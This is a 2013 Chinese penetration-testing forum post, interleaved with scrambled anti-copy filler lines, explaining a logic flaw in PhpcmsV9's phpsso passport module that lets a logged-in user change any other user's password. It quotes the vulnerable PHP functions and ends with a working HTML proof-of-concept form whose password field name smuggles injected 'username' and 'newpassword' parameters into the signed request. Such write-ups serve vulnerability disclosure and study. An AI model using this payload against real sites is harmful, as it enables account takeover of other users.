中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
" U: k, J! t) j; |
; z d/ D% A% K! b
# |+ I8 D b( u4 N
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
- b5 w+ A: _- s( z1 _5 H
5 e9 e8 c4 t: {) P1 R
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
: E4 L/ @5 |4 R" b4 @
0 l0 v4 x; K+ s, n' P
我把它留给了你们。
2 {; Z3 [3 O! [$ J7 _
不知道你们发现了它没有。
4 _, \: W t9 r7 l; `7 p
3 v' d# L+ m* m) U/ W# m( n# G
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
/ {/ ^4 \) b6 U, V. L
' d6 _! U. {4 C1 Z
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ O) d$ A) {) ]0 j0 A+ L5 R
# B' _" x5 o% V' { t( F+ e3 Z' S9 h
也就是
2 X' z$ y6 Z* g3 F9 ]
8 ]1 W/ q8 d2 D; w, L
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( n; {! Z( H# o9 Z0 i* h2 ]# l
; O: v# n3 M( F9 Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
0 L- Y5 t1 Y! v3 l* c/ Z
: J! x$ l y- d: ]/ Y
0 J2 _+ x1 q# ^2 z" v' V# S
其实我们有这样的机会,看看代码,如下:
% {5 M1 M( {' K
6 u' m- w- L( R
& k+ D) V" L2 Z- L' Y" ]! ?
public function auth_data($data) {
" c9 S& e6 V% e4 d
$s = $sep = '';
4 P( i. l+ M* g1 N* @: m
foreach($data as $k => $v) {
* j g9 _ h A+ j* O3 h h) H
if(is_array($v)) {
4 {& D) W) `0 v1 \2 z5 h
$s2 = $sep2 = '';
6 b L: X! w0 t8 O4 ]
foreach($v as $k2 => $v2) {
7 j7 r6 p( G0 \9 g+ g$ i* I
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
, j2 F) ~! o/ `' T2 F! b
$sep2 = '&';
0 _. u/ k: W& r) o, C
}
! N+ q5 y( S e1 K
$s .= $sep.$s2;
% y# V& s4 u# y
} else {
6 p7 D+ \8 G2 g( ~5 f, ?2 K
$s .= "$sep$k=".$this->_ps_stripslashes($v);
# ^. A# g4 J& N# |9 d
}
% ?6 v k( i* d9 [1 V
$sep = '&';
6 H* f9 J7 A; \! Y# O6 e
}
9 O) w) ~* ?' s5 U" p1 A( a
5 n2 O! S' y, P0 D! ~9 ^
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
* Q2 s1 t+ f9 V) @. u ~
return $auth_s;
) {. x6 e5 D3 G3 N3 o( |) ~3 A
}
: w, c" Y/ L% G6 W2 V
. D0 N9 [0 n! i5 v3 _: o# [
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
5 z! D# E% L0 `2 c4 b
$ K* G- ?& I- c
举个例子
; X6 T. {/ X9 ?/ }! V( O' Y, s
. c0 ?6 U) H! a c6 Y) [
$a[aaa=a&bbb] = 'a';
- O \3 u/ \* w# N
& }% q3 t* K4 e# ?
会变成aaa=a&bbb=a
& L) G: k1 d- d+ f9 y
, _6 o0 d$ K8 [# k3 E8 l
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
) g+ O# h2 r( L6 |5 K& _
( |+ Q a9 u3 p
这个时候,我们可以再去看一个函数。
' M- m' l% c& _4 C) c
4 D: f( C$ ?" }8 l }
就在这个文件内:
. }5 E& T' G& j
8 c/ `' L, f2 B6 r0 x2 b: ?! i* o- j
. @0 t* a, [: v; g( ~3 O
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! R/ m& f% A( |7 W
if($email && !$this->_is_email($email)) {
% j% u+ d [4 @$ T
return -4;
1 E5 [8 a; z% S) W" d, K! Z. r6 H4 e
}
, ]2 M9 w2 t, Y. X
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
; X; o' H5 M! v
}
2 k( N1 c1 c- f; R, `$ C/ e7 _
. V' \6 G2 M: w1 f5 [; F
这是向通行证发了这样一个请求。
/ f6 g5 ]& s$ \/ M& w7 u) O
8 d2 C8 a9 W( c9 D" w8 Q' [; q
我们再跟到通信证代码里去看看,就会有所发现。
7 o+ u0 s- ], O& s f, Y
% ]% S0 N' a" D$ q. m0 N
$ Y: f2 |( u) w7 n5 m
public function edit() {
* A) i z9 L( M g& Q
//能省就省,太长了不是吗?
0 ~6 y. r1 l( |
4 h* V) z: `1 q: r+ X5 P3 t# Y
if($this->username) {
& K# a) b) _! J! g9 E2 t) J5 s9 b% C. A3 h
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
4 Y1 ]$ T. i8 X# A3 D2 G: f
$res = $this->db->update($data, array('username'=>$this->username));
9 [- w3 p* u$ t0 s
} else {
' X* P( |6 H$ ]
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
7 R$ `6 J0 W: K4 I" [: b% D: o
$res = $this->db->update($data, array('uid'=>$this->uid));
. [/ {) R7 I/ W" q5 b @8 e
}
" F: q7 S/ r2 v6 j
& k1 W9 b7 R0 w
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( {1 |6 d5 F7 \* B2 z- E. f
4 m. s# r8 R5 a( a
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. x% U% F, M- a2 c5 N
( D, f/ y% {. n. U% j
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
1 t% X/ P4 ]' }* U: s& l) l+ l/ z
4 D6 I2 a1 w" a7 k
我当然找到了:
( ?4 T5 p9 G* a }; l4 J
phpcms9/phpcms/modules/member/index.php
$ X: ~# r1 i$ j _/ u% Z7 W3 D, H7 H5 \8 ]
: g- r7 c9 B+ ], W( [ Z
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
( G" c) }' V/ P- l# v* b
5 ^5 K! Q, s1 J+ p1 G, C9 L0 C, ~- Q3 |
然后就没有然后了。
1 L' m" |8 ?" A0 ?5 H
' W4 @$ P- B- r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- [! k' W$ \. ?/ p+ C# m8 I
<table width="100%" cellspacing="0" class="table_form">
) b& K0 e; J* ~$ \5 i
<tr>
# s* a* J6 F$ c# h
<th width="80">邮箱:</th>
" v9 w0 m# a) \' U/ J. J" E: U
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
- ]7 e9 |" i$ O/ i6 x6 R& }4 @
</tr>
/ f' g* L5 _4 u$ c' j* C) x |5 v
<tr>
& C5 V3 J+ ]$ h# W
<th width="80">原密码:</th>
O# x' ?- _6 c8 }! b5 t" p
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ o$ C" f, q2 f/ b/ Q& u
</tr>
3 F2 d0 M! l+ `! ^, W# h' L
<tr>
4 Y, R0 V2 H( n3 a; }6 |
<th>新密码:</th>
8 E: e# D/ g5 o8 s( d
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
: o* c7 t& a, @1 d! I: M% a
</tr>
% o# K# c# _) T$ C2 X. h6 G. n
<th></th>
" r# n/ ~/ v& o% u4 ]
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
; q0 s) U0 U! u: Y! r8 W8 z, S
</tr>
3 O2 X3 Q+ ]1 J
</table>
/ R+ m. m) y3 r' K; Q S
0 S3 p( E/ [1 Z& c# p- ]. f
, N7 M& l; d8 _$ S9 V) \$ }! A
</form>
* c0 d/ F& `# h! ?
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2